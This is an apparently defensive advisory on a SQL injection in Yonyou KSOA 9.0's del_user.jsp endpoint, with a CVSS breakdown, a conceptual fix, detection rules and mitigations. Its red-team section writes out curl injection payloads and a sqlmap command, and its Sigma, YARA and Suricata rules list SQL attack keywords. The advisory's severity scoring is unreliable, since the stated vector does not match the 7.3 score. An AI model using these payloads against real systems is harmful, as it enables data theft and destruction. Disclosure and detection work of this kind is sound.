CVE-2025-15425

Executive Summary

CVE-2025-15425 is a critical SQL injection vulnerability in Yonyou KSOA 9.0, specifically within the /worksheet/del_user.jsp endpoint. The vulnerability is triggered via the ID parameter in an HTTP GET request, allowing an unauthenticated remote attacker to execute arbitrary SQL commands against the underlying database. The vendor, Yonyou, has been contacted but has not responded, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score is 7.3 (High), and the EPSS score is 0.0%, indicating low current exploitation probability but high potential impact.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application (Yonyou KSOA) commonly used in supply chain and ERP environments. The lack of a patch and vendor response creates a significant supply chain risk for organizations relying on this software.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Full database write/delete access.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: High. The combination of remote exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a critical risk for any organization using Yonyou KSOA 9.0.

Deep Dive & Mechanics

The vulnerability resides in the /worksheet/del_user.jsp file. This endpoint is designed to delete user records from the system. The ID parameter is passed directly into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by manipulating the ID parameter.

Example vulnerable code pattern (conceptual):

String id = request.getParameter("ID");
String query = "DELETE FROM users WHERE id = " + id;
Statement stmt = connection.createStatement();
stmt.execute(query);

The attacker can inject a payload like:

/worksheet/del_user.jsp?ID=1 OR 1=1

This would delete all users in the table. More sophisticated payloads can extract data, modify records, or execute system commands via xp_cmdshell (if SQL Server is used).

Database Impact: The underlying database is likely Microsoft SQL Server or Oracle, common in Yonyou deployments. The injection can lead to full database compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String id = request.getParameter("ID");
String query = "DELETE FROM users WHERE id = " + id;
Statement stmt = connection.createStatement();
stmt.execute(query);

Patched Code (Conceptual):

String id = request.getParameter("ID");
String query = "DELETE FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, id);
pstmt.executeUpdate();

The patched version uses parameterized queries (PreparedStatement), which prevents SQL injection by treating user input as data, not executable code. Since no official patch exists, organizations must implement this fix themselves.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Yonyou KSOA 9.0
• Network access to the /worksheet/del_user.jsp endpoint

Exploitation Steps:

1. Basic SQL Injection Detection:

   curl "http://target.com/worksheet/del_user.jsp?ID=1'"
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

2. Boolean-Based Blind Injection:

   curl "http://target.com/worksheet/del_user.jsp?ID=1 AND 1=1"
   curl "http://target.com/worksheet/del_user.jsp?ID=1 AND 1=2"
   

   Compare responses to infer true/false conditions.

3. Extracting Database Version (SQL Server):

   curl "http://target.com/worksheet/del_user.jsp?ID=1 UNION SELECT @@version, NULL, NULL--"
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/worksheet/del_user.jsp?ID=1" --batch --dbs
   

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection & Response:

1. Monitor HTTP GET requests to /worksheet/del_user.jsp with suspicious ID parameters (e.g., containing SQL keywords like UNION, SELECT, OR, AND, --, #).

2. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL injection patterns in the ID parameter.
   • Rate-limit requests to the endpoint.

3. Database Activity Monitoring:

   • Alert on unusual SQL queries from the application user (e.g., UNION, xp_cmdshell).
   • Monitor for mass deletion or data extraction patterns.

4. Network Segmentation:

   • Restrict access to the KSOA application to trusted IPs only.
   • Use a reverse proxy to filter malicious requests.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /worksheet/del_user.jsp with ID parameter containing SQL keywords.
• Unusual outbound database traffic from the application server.
• Database error messages in HTTP responses (e.g., "Incorrect syntax near").

File IOCs:

• Modified /worksheet/del_user.jsp file (if attacker uploads a backdoor).
• Suspicious files in the web root (e.g., .jsp shells).

Log IOCs:

• Web server logs showing repeated requests to /worksheet/del_user.jsp with varying ID values.
• Database logs showing unexpected queries (e.g., UNION SELECT, xp_cmdshell).

Detection Engineering

YARA Rule

rule CVE_2025_15425_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Yonyou KSOA del_user.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-15425"
    strings:
        $suspicious_param = /[?&]ID\s*=\s*.*(?:SELECT|UNION|INSERT|DELETE|UPDATE|DROP|OR\s+\d+\s*=\s*\d+|AND\s+\d+\s*=\s*\d+|--|#|xp_cmdshell|exec\s*\(|cast\s*\()/i
        $endpoint = "/worksheet/del_user.jsp"
    condition:
        $endpoint and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt Against Yonyou KSOA del_user.jsp
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts in HTTP GET requests to /worksheet/del_user.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/worksheet/del_user.jsp"
        cs-uri-query|re: '(?i)(SELECT|UNION|INSERT|DELETE|UPDATE|DROP|OR\s+\d+\s*=\s*\d+|AND\s+\d+\s*=\s*\d+|--|#|xp_cmdshell|exec\s*\()'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15425 SQL Injection Attempt on Yonyou KSOA"; flow:to_server; content:"/worksheet/del_user.jsp"; http_uri; pcre:"/(?i)(SELECT|UNION|INSERT|DELETE|UPDATE|DROP|OR\s+\d+\s*=\s*\d+|AND\s+\d+\s*=\s*\d+|--|#|xp_cmdshell|exec\s*\()/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application if possible until a patch is applied.
2. Implement a WAF rule to block SQL injection patterns in the ID parameter.
3. Restrict network access to the KSOA application to trusted IPs only.

Long-Term Fix:

1. Apply input validation and parameterized queries in /worksheet/del_user.jsp. Replace string concatenation with PreparedStatement.
2. Contact Yonyou for an official patch. If unresponsive, consider migrating to a supported alternative.
3. Conduct a full security audit of the KSOA application for similar vulnerabilities.

Workaround:

• Disable the /worksheet/del_user.jsp endpoint by removing or renaming the file if not critical.

Valters IT